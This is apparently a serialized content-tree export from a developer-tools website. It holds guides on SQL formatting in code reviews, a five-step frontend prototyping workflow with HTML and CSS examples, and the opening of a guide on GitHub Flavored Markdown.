comma-separated tables (",[143,108642,108643],{},"FROM users, orders",") instead of explicit ",[143,108646,108306],{}," syntax should be flagged. Explicit JOINs make the relationship between tables clear and reduce the risk of accidental cross joins.",[44,108649,108650,108651,108653],{},"**SELECT *",[47,108652,468],{}," In production queries, wildcard selects should be justified. They break when columns are added or reordered and prevent covering indexes from working efficiently.",[44,108655,108656,108659],{},[47,108657,108658],{},"Missing table aliases."," Ambiguous column references without table aliases cause errors in some databases and confusion in all of them.",[44,108661,108662,108665],{},[47,108663,108664],{},"Over-nested subqueries."," CTEs (WITH clauses) improve readability over deeply nested subqueries. Encourage their use in the style guide.",[11,108667,1355],{"id":1354},[41,108669,108670,108673,108676,108682],{},[44,108671,108672],{},"Unformatted SQL wastes review time and hides logic bugs that structured formatting exposes immediately.",[44,108674,108675],{},"Define a minimal set of formatting rules — keyword casing, line breaks, indentation, comma placement — and document them in your repository.",[44,108677,108678,108679,108681],{},"Automate enforcement with a SQL linter like ",[143,108680,108381],{}," in CI and pre-commit hooks.",[44,108683,108684],{},"Use code reviews to catch semantic issues — implicit JOINs, SELECT *, and over-nested subqueries — rather than debating indentation preferences.",[11,108686,286],{"id":285},[16,108688,108689,108690,108694],{},"Need to clean up SQL before a review? Drop your raw queries into the ",[98,108691,108693],{"href":108692},"\u002Ftools\u002Fsql-formatter","SQL Formatter"," to apply consistent keyword casing, indentation, and line breaks in seconds.",[2043,108696,108697],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":108699},[108700,108701,108704,108708,108709,108710],{"id":108224,"depth":337,"text":108225},{"id":108254,"depth":337,"text":108255,"children":108702},[108703],{"id":108261,"depth":343,"text":108262},{"id":108368,"depth":337,"text":108369,"children":108705},[108706,108707],{"id":108375,"depth":343,"text":108376},{"id":108544,"depth":343,"text":108545},{"id":108628,"depth":337,"text":108629},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Establish SQL style standards for your team and catch formatting issues in pull requests.",{"immutable":363},"\u002Fguides\u002Fformatting-sql-in-code-reviews",{"title":108216,"description":108711},"guides\u002Fformatting-sql-in-code-reviews","BAghrmEWbKrNQLX8w_d2u2FC-mDvaS-Pz4IuVZ433UQ",{"id":108718,"title":108719,"body":108720,"date":2070,"description":109681,"extension":361,"meta":109682,"navigation":363,"path":109683,"readingTime":1710,"seo":109684,"stem":109685,"__hash__":109686},"guides\u002Fguides\u002Ffrontend-prototyping-workflow.md","Frontend Prototyping Workflow",{"type":8,"value":108721,"toc":109660},[108722,108726,108729,108733,108736,108742,108746,108757,108761,108780,109023,109030,109043,109047,109054,109179,109183,109189,109192,109242,109246,109255,109259,109262,109347,109352,109356,109359,109437,109442,109446,109449,109487,109492,109496,109499,109546,109558,109562,109591,109595,109598,109608,109610,109630,109632,109635,109657],[11,108723,108725],{"id":108724},"prototyping-should-be-fast","Prototyping Should Be Fast",[16,108727,108728],{},"A frontend prototype lets you validate ideas before writing production code. The faster you move from concept to clickable preview, the sooner you get real feedback. This guide walks you through a repeatable five-step workflow — from blank canvas to polished, responsive mockup — using free online tools at every stage.",[11,108730,108732],{"id":108731},"step-1-capture-the-idea","Step 1: Capture the Idea",[16,108734,108735],{},"Start with a rough mental model. Sketch on paper or jot a bullet list of sections — hero, features, footer. You do not need pixel-perfect wireframes. A 60-second sketch is enough to define layout priorities.",[16,108737,108738,108741],{},[47,108739,108740],{},"Key principle:"," Prototype the layout first; decorative details come later. Getting the structure right saves hours of rework.",[33,108743,108745],{"id":108744},"quick-tips","Quick Tips",[41,108747,108748,108751,108754],{},[44,108749,108750],{},"List every section top-to-bottom before touching code",[44,108752,108753],{},"Mark which sections need images, forms, or interactive elements",[44,108755,108756],{},"Decide mobile vs. desktop priority now — it affects every subsequent step",[11,108758,108760],{"id":108759},"step-2-build-the-html-skeleton","Step 2: Build the HTML Skeleton",[16,108762,108763,108764,1459,108767,1459,108770,1459,108773,1466,108776,108779],{},"Translate your sketch into semantic HTML. Focus on structure, not styling. Use ",[143,108765,108766],{},"\u003Cheader>",[143,108768,108769],{},"\u003Cmain>",[143,108771,108772],{},"\u003Csection>",[143,108774,108775],{},"\u003Carticle>",[143,108777,108778],{},"\u003Cfooter>"," to establish a readable document outline.",[135,108781,108783],{"className":6417,"code":108782,"language":6419,"meta":141,"style":141},"\u003C!DOCTYPE html>\n\u003Chtml lang=\"en\">\n\u003Chead>\n  \u003Cmeta charset=\"UTF-8\">\n  \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n  \u003Ctitle>Prototype\u003C\u002Ftitle>\n\u003C\u002Fhead>\n\u003Cbody>\n  \u003Cheader>\n    \u003Cnav>\u003C!-- Logo + links -->\u003C\u002Fnav>\n  \u003C\u002Fheader>\n  \u003Cmain>\n    \u003Csection class=\"hero\">\u003C!-- Hero content -->\u003C\u002Fsection>\n    \u003Csection class=\"features\">\u003C!-- Feature cards -->\u003C\u002Fsection>\n  \u003C\u002Fmain>\n  \u003Cfooter>\u003C!-- Footer links -->\u003C\u002Ffooter>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[143,108784,108785,108798,108813,108821,108838,108862,108876,108884,108892,108900,108918,108926,108934,108958,108982,108990,109007,109015],{"__ignoreMap":141},[1560,108786,108787,108790,108793,108796],{"class":1562,"line":1563},[1560,108788,108789],{"class":1570},"\u003C!",[1560,108791,108792],{"class":2484},"DOCTYPE",[1560,108794,108795],{"class":1566}," html",[1560,108797,6441],{"class":1570},[1560,108799,108800,108802,108804,108806,108808,108811],{"class":1562,"line":337},[1560,108801,6431],{"class":1570},[1560,108803,6419],{"class":2484},[1560,108805,17372],{"class":1566},[1560,108807,7297],{"class":1570},[1560,108809,108810],{"class":5634},"\"en\"",[1560,108812,6441],{"class":1570},[1560,108814,108815,108817,108819],{"class":1562,"line":343},[1560,108816,6431],{"class":1570},[1560,108818,40984],{"class":2484},[1560,108820,6441],{"class":1570},[1560,108822,108823,108825,108828,108831,108833,108836],{"class":1562,"line":365},[1560,108824,11223],{"class":1570},[1560,108826,108827],{"class":2484},"meta",[1560,108829,108830],{"class":1566}," charset",[1560,108832,7297],{"class":1570},[1560,108834,108835],{"class":5634},"\"UTF-8\"",[1560,108837,6441],{"class":1570},[1560,108839,108840,108842,108844,108847,108849,108852,108855,108857,108860],{"class":1562,"line":889},[1560,108841,11223],{"class":1570},[1560,108843,108827],{"class":2484},[1560,108845,108846],{"class":1566}," name",[1560,108848,7297],{"class":1570},[1560,108850,108851],{"class":5634},"\"viewport\"",[1560,108853,108854],{"class":1566}," content",[1560,108856,7297],{"class":1570},[1560,108858,108859],{"class":5634},"\"width=device-width, initial-scale=1.0\"",[1560,108861,6441],{"class":1570},[1560,108863,108864,108866,108869,108872,108874],{"class":1562,"line":1710},[1560,108865,11223],{"class":1570},[1560,108867,108868],{"class":2484},"title",[1560,108870,108871],{"class":1570},">Prototype\u003C\u002F",[1560,108873,108868],{"class":2484},[1560,108875,6441],{"class":1570},[1560,108877,108878,108880,108882],{"class":1562,"line":1717},[1560,108879,11242],{"class":1570},[1560,108881,40984],{"class":2484},[1560,108883,6441],{"class":1570},[1560,108885,108886,108888,108890],{"class":1562,"line":1747},[1560,108887,6431],{"class":1570},[1560,108889,2485],{"class":2484},[1560,108891,6441],{"class":1570},[1560,108893,108894,108896,108898],{"class":1562,"line":2507},[1560,108895,11223],{"class":1570},[1560,108897,61156],{"class":2484},[1560,108899,6441],{"class":1570},[1560,108901,108902,108904,108907,108909,108912,108914,108916],{"class":1562,"line":2524},[1560,108903,12292],{"class":1570},[1560,108905,108906],{"class":2484},"nav",[1560,108908,28226],{"class":1570},[1560,108910,108911],{"class":1649},"\u003C!-- Logo + links -->",[1560,108913,11242],{"class":1570},[1560,108915,108906],{"class":2484},[1560,108917,6441],{"class":1570},[1560,108919,108920,108922,108924],{"class":1562,"line":2529},[1560,108921,12331],{"class":1570},[1560,108923,61156],{"class":2484},[1560,108925,6441],{"class":1570},[1560,108927,108928,108930,108932],{"class":1562,"line":2534},[1560,108929,11223],{"class":1570},[1560,108931,8521],{"class":2484},[1560,108933,6441],{"class":1570},[1560,108935,108936,108938,108940,108942,108944,108947,108949,108952,108954,108956],{"class":1562,"line":2542},[1560,108937,12292],{"class":1570},[1560,108939,46603],{"class":2484},[1560,108941,11423],{"class":1566},[1560,108943,7297],{"class":1570},[1560,108945,108946],{"class":5634},"\"hero\"",[1560,108948,28226],{"class":1570},[1560,108950,108951],{"class":1649},"\u003C!-- Hero content -->",[1560,108953,11242],{"class":1570},[1560,108955,46603],{"class":2484},[1560,108957,6441],{"class":1570},[1560,108959,108960,108962,108964,108966,108968,108971,108973,108976,108978,108980],{"class":1562,"line":2558},[1560,108961,12292],{"class":1570},[1560,108963,46603],{"class":2484},[1560,108965,11423],{"class":1566},[1560,108967,7297],{"class":1570},[1560,108969,108970],{"class":5634},"\"features\"",[1560,108972,28226],{"class":1570},[1560,108974,108975],{"class":1649},"\u003C!-- Feature cards -->",[1560,108977,11242],{"class":1570},[1560,108979,46603],{"class":2484},[1560,108981,6441],{"class":1570},[1560,108983,108984,108986,108988],{"class":1562,"line":2570},[1560,108985,12331],{"class":1570},[1560,108987,8521],{"class":2484},[1560,108989,6441],{"class":1570},[1560,108991,108992,108994,108996,108998,109001,109003,109005],{"class":1562,"line":6638},[1560,108993,11223],{"class":1570},[1560,108995,61179],{"class":2484},[1560,108997,28226],{"class":1570},[1560,108999,109000],{"class":1649},"\u003C!-- Footer links -->",[1560,109002,11242],{"class":1570},[1560,109004,61179],{"class":2484},[1560,109006,6441],{"class":1570},[1560,109008,109009,109011,109013],{"class":1562,"line":11615},[1560,109010,11242],{"class":1570},[1560,109012,2485],{"class":2484},[1560,109014,6441],{"class":1570},[1560,109016,109017,109019,109021],{"class":1562,"line":11621},[1560,109018,11242],{"class":1570},[1560,109020,6419],{"class":2484},[1560,109022,6441],{"class":1570},[16,109024,18550,109025,109029],{},[98,109026,109028],{"href":109027},"\u002Ftools\u002Fhtml-preview","HTML Preview"," tool to render your markup instantly. Write or paste your code and see the result side-by-side — no local server, no build step.",[16,109031,109032,109035,109036,63678,109039,109042],{},[47,109033,109034],{},"Keyboard shortcut:"," Press ",[143,109037,109038],{},"Ctrl+Enter",[143,109040,109041],{},"Cmd+Enter"," on Mac) in the editor to refresh the preview panel quickly.",[11,109044,109046],{"id":109045},"step-3-apply-css-styling","Step 3: Apply CSS Styling",[16,109048,109049,109050,109053],{},"With a solid skeleton, add layout and spacing. Start with a CSS reset or a simple ",[143,109051,109052],{},"box-sizing: border-box"," rule, then layer in your layout system.",[135,109055,109057],{"className":1554,"code":109056,"language":1556,"meta":141,"style":141},"*, *::before, *::after {\n  box-sizing: border-box;\n  margin: 0;\n  padding: 0;\n}\n\n.features {\n  display: grid;\n  grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));\n  gap: 1.5rem;\n}\n",[143,109058,109059,109077,109088,109098,109108,109112,109116,109123,109133,109163,109175],{"__ignoreMap":141},[1560,109060,109061,109063,109065,109067,109069,109071,109073,109075],{"class":1562,"line":1563},[1560,109062,8069],{"class":2484},[1560,109064,1459],{"class":1570},[1560,109066,8069],{"class":2484},[1560,109068,12473],{"class":1566},[1560,109070,1459],{"class":1570},[1560,109072,8069],{"class":2484},[1560,109074,12476],{"class":1566},[1560,109076,1571],{"class":1570},[1560,109078,109079,109082,109084,109086],{"class":1562,"line":337},[1560,109080,109081],{"class":1576},"  box-sizing",[1560,109083,1663],{"class":1570},[1560,109085,56782],{"class":1576},[1560,109087,2228],{"class":1570},[1560,109089,109090,109092,109094,109096],{"class":1562,"line":343},[1560,109091,66201],{"class":1576},[1560,109093,1663],{"class":1570},[1560,109095,5285],{"class":1576},[1560,109097,2228],{"class":1570},[1560,109099,109100,109102,109104,109106],{"class":1562,"line":365},[1560,109101,18186],{"class":1576},[1560,109103,1663],{"class":1570},[1560,109105,5285],{"class":1576},[1560,109107,2228],{"class":1570},[1560,109109,109110],{"class":1562,"line":889},[1560,109111,1585],{"class":1570},[1560,109113,109114],{"class":1562,"line":1710},[1560,109115,1702],{"emptyLinePlaceholder":363},[1560,109117,109118,109121],{"class":1562,"line":1717},[1560,109119,109120],{"class":1566},".features",[1560,109122,1571],{"class":1570},[1560,109124,109125,109127,109129,109131],{"class":1562,"line":1747},[1560,109126,12504],{"class":1576},[1560,109128,1663],{"class":1570},[1560,109130,53158],{"class":1576},[1560,109132,2228],{"class":1570},[1560,109134,109135,109137,109139,109141,109143,109145,109147,109149,109151,109153,109155,109157,109159,109161],{"class":1562,"line":2507},[1560,109136,61005],{"class":1576},[1560,109138,1663],{"class":1570},[1560,109140,9442],{"class":1576},[1560,109142,1688],{"class":1570},[1560,109144,63165],{"class":1576},[1560,109146,1459],{"class":1570},[1560,109148,62152],{"class":1576},[1560,109150,1688],{"class":1570},[1560,109152,23906],{"class":1576},[1560,109154,1670],{"class":1669},[1560,109156,1459],{"class":1570},[1560,109158,3585],{"class":1576},[1560,109160,61016],{"class":1669},[1560,109162,41941],{"class":1570},[1560,109164,109165,109167,109169,109171,109173],{"class":1562,"line":2524},[1560,109166,32235],{"class":1576},[1560,109168,1663],{"class":1570},[1560,109170,18515],{"class":1576},[1560,109172,32215],{"class":1669},[1560,109174,2228],{"class":1570},[1560,109176,109177],{"class":1562,"line":2529},[1560,109178,1585],{"class":1570},[33,109180,109182],{"id":109181},"theming-with-a-color-palette","Theming with a Color Palette",[16,109184,109185,109186,109188],{},"Pick a cohesive palette before you write color values. A 5-shade scale (50 → 900) gives you backgrounds, borders, hover states, and text colors from a single hue. Use the ",[98,109187,93645],{"href":2422}," tool to generate accessible, harmonious palettes in seconds.",[16,109190,109191],{},"Define your palette as CSS custom properties so one change ripples across the prototype:",[135,109193,109195],{"className":1554,"code":109194,"language":1556,"meta":141,"style":141},":root {\n  --color-primary-50: #eff6ff;\n  --color-primary-500: #3b82f6;\n  --color-primary-900: #1e3a8a;\n}\n",[143,109196,109197,109203,109215,109226,109238],{"__ignoreMap":141},[1560,109198,109199,109201],{"class":1562,"line":1563},[1560,109200,2207],{"class":1566},[1560,109202,1571],{"class":1570},[1560,109204,109205,109208,109210,109213],{"class":1562,"line":337},[1560,109206,109207],{"class":2219},"  --color-primary-50",[1560,109209,1663],{"class":1570},[1560,109211,109212],{"class":1576},"#eff6ff",[1560,109214,2228],{"class":1570},[1560,109216,109217,109220,109222,109224],{"class":1562,"line":343},[1560,109218,109219],{"class":2219},"  --color-primary-500",[1560,109221,1663],{"class":1570},[1560,109223,4147],{"class":1576},[1560,109225,2228],{"class":1570},[1560,109227,109228,109231,109233,109236],{"class":1562,"line":365},[1560,109229,109230],{"class":2219},"  --color-primary-900",[1560,109232,1663],{"class":1570},[1560,109234,109235],{"class":1576},"#1e3a8a",[1560,109237,2228],{"class":1570},[1560,109239,109240],{"class":1562,"line":889},[1560,109241,1585],{"class":1570},[11,109243,109245],{"id":109244},"step-4-add-visual-polish","Step 4: Add Visual Polish",[16,109247,109248,109249,1856,109252,468],{},"Flat prototypes communicate structure; polished prototypes sell the idea. Two properties do most of the heavy lifting: ",[47,109250,109251],{},"box shadows",[47,109253,109254],{},"gradients",[33,109256,109258],{"id":109257},"box-shadows-for-elevation","Box Shadows for Elevation",[16,109260,109261],{},"Layer two shadows — one tight, one diffused — to create convincing depth:",[135,109263,109265],{"className":1554,"code":109264,"language":1556,"meta":141,"style":141},".card {\n  box-shadow:\n    0 1px 3px rgba(0, 0, 0, 0.08),\n    0 8px 24px rgba(0, 0, 0, 0.12);\n}\n",[143,109266,109267,109273,109279,109311,109343],{"__ignoreMap":141},[1560,109268,109269,109271],{"class":1562,"line":1563},[1560,109270,1567],{"class":1566},[1560,109272,1571],{"class":1570},[1560,109274,109275,109277],{"class":1562,"line":337},[1560,109276,18679],{"class":1576},[1560,109278,19182],{"class":1570},[1560,109280,109281,109283,109285,109287,109289,109291,109293,109295,109297,109299,109301,109303,109305,109307,109309],{"class":1562,"line":343},[1560,109282,19187],{"class":1576},[1560,109284,18868],{"class":1576},[1560,109286,1670],{"class":1669},[1560,109288,48433],{"class":1576},[1560,109290,1670],{"class":1669},[1560,109292,18694],{"class":1576},[1560,109294,1688],{"class":1570},[1560,109296,5285],{"class":1576},[1560,109298,1459],{"class":1570},[1560,109300,5285],{"class":1576},[1560,109302,1459],{"class":1570},[1560,109304,5285],{"class":1576},[1560,109306,1459],{"class":1570},[1560,109308,18711],{"class":1576},[1560,109310,19216],{"class":1570},[1560,109312,109313,109315,109317,109319,109321,109323,109325,109327,109329,109331,109333,109335,109337,109339,109341],{"class":1562,"line":365},[1560,109314,19187],{"class":1576},[1560,109316,13490],{"class":1576},[1560,109318,1670],{"class":1669},[1560,109320,18193],{"class":1576},[1560,109322,1670],{"class":1669},[1560,109324,18694],{"class":1576},[1560,109326,1688],{"class":1570},[1560,109328,5285],{"class":1576},[1560,109330,1459],{"class":1570},[1560,109332,5285],{"class":1576},[1560,109334,1459],{"class":1570},[1560,109336,5285],{"class":1576},[1560,109338,1459],{"class":1570},[1560,109340,18782],{"class":1576},[1560,109342,1744],{"class":1570},[1560,109344,109345],{"class":1562,"line":889},[1560,109346,1585],{"class":1570},[16,109348,18550,109349,109351],{},[98,109350,93663],{"href":20278}," tool to dial in offset, blur, spread, and color interactively. Copy the generated rule straight into your stylesheet.",[33,109353,109355],{"id":109354},"gradients-for-depth-and-energy","Gradients for Depth and Energy",[16,109357,109358],{},"A subtle gradient (5–15% lightness shift) adds perceived elevation. A bold gradient turns a section into a focal point:",[135,109360,109362],{"className":1554,"code":109361,"language":1556,"meta":141,"style":141},"\u002F* Subtle surface depth *\u002F\n.card { background: linear-gradient(180deg, #1e293b, #0f172a); }\n\n\u002F* Bold hero accent *\u002F\n.hero { background: linear-gradient(135deg, #3b82f6, #8b5cf6); }\n",[143,109363,109364,109369,109399,109403,109408],{"__ignoreMap":141},[1560,109365,109366],{"class":1562,"line":1563},[1560,109367,109368],{"class":1649},"\u002F* Subtle surface depth *\u002F\n",[1560,109370,109371,109373,109375,109377,109379,109381,109383,109385,109387,109389,109392,109394,109397],{"class":1562,"line":337},[1560,109372,1567],{"class":1566},[1560,109374,1658],{"class":1570},[1560,109376,11362],{"class":1576},[1560,109378,1663],{"class":1570},[1560,109380,46356],{"class":1576},[1560,109382,1688],{"class":1570},[1560,109384,35584],{"class":1576},[1560,109386,1694],{"class":1669},[1560,109388,1459],{"class":1570},[1560,109390,109391],{"class":1576},"#1e293b",[1560,109393,1459],{"class":1570},[1560,109395,109396],{"class":1576},"#0f172a",[1560,109398,1697],{"class":1570},[1560,109400,109401],{"class":1562,"line":343},[1560,109402,1702],{"emptyLinePlaceholder":363},[1560,109404,109405],{"class":1562,"line":365},[1560,109406,109407],{"class":1649},"\u002F* Bold hero accent *\u002F\n",[1560,109409,109410,109412,109414,109416,109418,109420,109422,109424,109426,109428,109430,109432,109435],{"class":1562,"line":889},[1560,109411,32789],{"class":1566},[1560,109413,1658],{"class":1570},[1560,109415,11362],{"class":1576},[1560,109417,1663],{"class":1570},[1560,109419,46356],{"class":1576},[1560,109421,1688],{"class":1570},[1560,109423,46361],{"class":1576},[1560,109425,1694],{"class":1669},[1560,109427,1459],{"class":1570},[1560,109429,4147],{"class":1576},[1560,109431,1459],{"class":1570},[1560,109433,109434],{"class":1576},"#8b5cf6",[1560,109436,1697],{"class":1570},[16,109438,421,109439,109441],{},[98,109440,93657],{"href":18582}," tool lets you adjust angles, color stops, and types (linear, radial, conic) with live preview.",[33,109443,109445],{"id":109444},"border-radius-for-softness","Border Radius for Softness",[16,109447,109448],{},"Sharp corners feel technical; rounded corners feel approachable. A consistent radius across cards, buttons, and inputs unifies the design:",[135,109450,109452],{"className":1554,"code":109451,"language":1556,"meta":141,"style":141},".card { border-radius: 12px; }\n.btn { border-radius: 8px; }\n",[143,109453,109454,109470],{"__ignoreMap":141},[1560,109455,109456,109458,109460,109462,109464,109466,109468],{"class":1562,"line":1563},[1560,109457,1567],{"class":1566},[1560,109459,1658],{"class":1570},[1560,109461,16947],{"class":1576},[1560,109463,1663],{"class":1570},[1560,109465,13566],{"class":1576},[1560,109467,1670],{"class":1669},[1560,109469,1673],{"class":1570},[1560,109471,109472,109475,109477,109479,109481,109483,109485],{"class":1562,"line":337},[1560,109473,109474],{"class":1566},".btn",[1560,109476,1658],{"class":1570},[1560,109478,16947],{"class":1576},[1560,109480,1663],{"class":1570},[1560,109482,10078],{"class":1576},[1560,109484,1670],{"class":1669},[1560,109486,1673],{"class":1570},[16,109488,18550,109489,109491],{},[98,109490,93669],{"href":17643}," tool to experiment with uniform or per-corner values and copy the result.",[11,109493,109495],{"id":109494},"step-5-test-responsiveness","Step 5: Test Responsiveness",[16,109497,109498],{},"A prototype is incomplete until you verify it at multiple breakpoints. Test these three widths as a minimum:",[193,109500,109501,109513],{},[196,109502,109503],{},[199,109504,109505,109508,109510],{},[202,109506,109507],{},"Breakpoint",[202,109509,7621],{},[202,109511,109512],{},"What to Check",[211,109514,109515,109525,109536],{},[199,109516,109517,109519,109522],{},[216,109518,96140],{},[216,109520,109521],{},"375px",[216,109523,109524],{},"Single-column stack, tap targets ≥44px",[199,109526,109527,109530,109533],{},[216,109528,109529],{},"Tablet",[216,109531,109532],{},"768px",[216,109534,109535],{},"Two-column grids, navigation toggle",[199,109537,109538,109540,109543],{},[216,109539,97311],{},[216,109541,109542],{},"1280px",[216,109544,109545],{},"Max-width container, hover states",[16,109547,109548,109549,109551,109552,14237,109555,9368],{},"In the ",[98,109550,109028],{"href":109027}," tool, resize the preview pane to approximate each breakpoint. Alternatively, use your browser's DevTools device toolbar (",[143,109553,109554],{},"Ctrl+Shift+M",[143,109556,109557],{},"Cmd+Shift+M",[33,109559,109561],{"id":109560},"common-responsive-traps","Common Responsive Traps",[41,109563,109564,109576,109582],{},[44,109565,109566,109569,109570,12674,109573],{},[47,109567,109568],{},"Overflow from fixed widths"," — replace ",[143,109571,109572],{},"width: 300px",[143,109574,109575],{},"max-width: 300px; width: 100%",[44,109577,109578,109581],{},[47,109579,109580],{},"Tiny tap targets on mobile"," — buttons and links need at least 44×44px hit areas",[44,109583,109584,109587,109588,109590],{},[47,109585,109586],{},"Unreadable text scaling"," — use ",[143,109589,32215],{}," units so users can zoom without breaking layout",[11,109592,109594],{"id":109593},"sharing-your-prototype","Sharing Your Prototype",[16,109596,109597],{},"Online tools make sharing painless. Copy the preview URL or export the HTML file and send it to stakeholders. No Git push, no deployment pipeline — just a link they can open on any device.",[16,109599,109600,109603,109604,109607],{},[47,109601,109602],{},"Pro tip:"," Add a ",[143,109605,109606],{},"?theme=dark"," query parameter (or a simple toggle button in your prototype) so reviewers can check both light and dark modes without you maintaining two files.",[11,109609,1355],{"id":1354},[41,109611,109612,109615,109618,109621,109624,109627],{},[44,109613,109614],{},"Sketch first, code second — 60 seconds of planning saves hours of rework",[44,109616,109617],{},"Build semantic HTML before adding any CSS",[44,109619,109620],{},"Use CSS custom properties for colors so one palette change updates the whole prototype",[44,109622,109623],{},"Layer two box shadows (tight + diffused) for realistic elevation",[44,109625,109626],{},"Test at 375px, 768px, and 1280px minimum before sharing",[44,109628,109629],{},"Share a live preview link instead of screenshots — stakeholders interact differently with clickable prototypes",[11,109631,286],{"id":285},[16,109633,109634],{},"Put this workflow into practice with free online tools:",[41,109636,109637,109642,109647,109652],{},[44,109638,109639,109641],{},[98,109640,109028],{"href":109027}," — Write HTML and CSS, see the result instantly with live rendering",[44,109643,109644,109646],{},[98,109645,93657],{"href":18582}," — Design linear, radial, and conic gradients with an interactive editor",[44,109648,109649,109651],{},[98,109650,93663],{"href":20278}," — Generate layered box shadows with real-time preview",[44,109653,109654,109656],{},[98,109655,93669],{"href":17643}," — Set uniform or per-corner border radius values visually",[2043,109658,109659],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":109661},[109662,109663,109666,109667,109670,109675,109678,109679,109680],{"id":108724,"depth":337,"text":108725},{"id":108731,"depth":337,"text":108732,"children":109664},[109665],{"id":108744,"depth":343,"text":108745},{"id":108759,"depth":337,"text":108760},{"id":109045,"depth":337,"text":109046,"children":109668},[109669],{"id":109181,"depth":343,"text":109182},{"id":109244,"depth":337,"text":109245,"children":109671},[109672,109673,109674],{"id":109257,"depth":343,"text":109258},{"id":109354,"depth":343,"text":109355},{"id":109444,"depth":343,"text":109445},{"id":109494,"depth":337,"text":109495,"children":109676},[109677],{"id":109560,"depth":343,"text":109561},{"id":109593,"depth":337,"text":109594},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Build a fast prototyping workflow using free online tools for HTML, CSS, and visual design.",{"immutable":363},"\u002Fguides\u002Ffrontend-prototyping-workflow",{"title":108719,"description":109681},"guides\u002Ffrontend-prototyping-workflow","OBasYWrai0fgti7p_1Ff85X5Mdu3hijFl2tHfyexqb0",{"id":109688,"title":109689,"body":109690,"date":2070,"description":110397,"extension":361,"meta":110398,"navigation":363,"path":110399,"readingTime":1710,"seo":110400,"stem":110401,"__hash__":110402},"guides\u002Fguides\u002Fgithub-flavored-markdown.md","GitHub Flavored Markdown: Extensions, Tables, and Task Lists",{"type":8,"value":109691,"toc":110370},[109692,109696,109699,109702,109706,109709,109779,109782,109785,109788,109790,109820,109824,109827,109852,109872,109876,109901,109905,109908,109910,109935,109937,109963,109967,109970,109973,109976,109985,109993,109996,110007,110010,110013,110028,110035,110039,110047,110051,110054,110094,110098,110101,110175,110178,110182,110185,110219,110222,110226,110229,110272,110275,110279,110282,110314,110316,110336,110338,110358,110360,110368],[11,109693,109695],{"id":109694},"what-is-github-flavored-markdown","What Is GitHub Flavored Markdown?",[16,109697,109698],{},"GitHub Flavored Markdown (GFM) is GitHub's extension of the CommonMark specification. It adds features that developers and writers need every day — tables, task lists, strikethrough, autolinks, and stricter HTML filtering.",[16,109700,109701],{},"GFM is not a separate language. It builds on CommonMark as a strict superset: every valid CommonMark document is valid GFM, but GFM adds syntax that CommonMark does not recognize. Most modern Markdown parsers support GFM by default.",[11,109703,109705],{"id":109704},"gfm-vs-commonmark-key-differences","GFM vs CommonMark: Key Differences",[16,109707,109708],{},"Understanding what GFM adds helps you write Markdown that works consistently across platforms.",[193,109710,109711,109721],{},[196,109712,109713],{},[199,109714,109715,109717,109719],{},[202,109716,5867],{},[202,109718,34788],{},[202,109720,34791],{},[211,109722,109723,109731,109739,109747,109761,109771],{},[199,109724,109725,109727,109729],{},[216,109726,3107],{},[216,109728,6117],{},[216,109730,3057],{},[199,109732,109733,109735,109737],{},[216,109734,34667],{},[216,109736,6117],{},[216,109738,3057],{},[199,109740,109741,109743,109745],{},[216,109742,34693],{},[216,109744,6117],{},[216,109746,3057],{},[199,109748,109749,109752,109758],{},[216,109750,109751],{},"Autolinks (bare 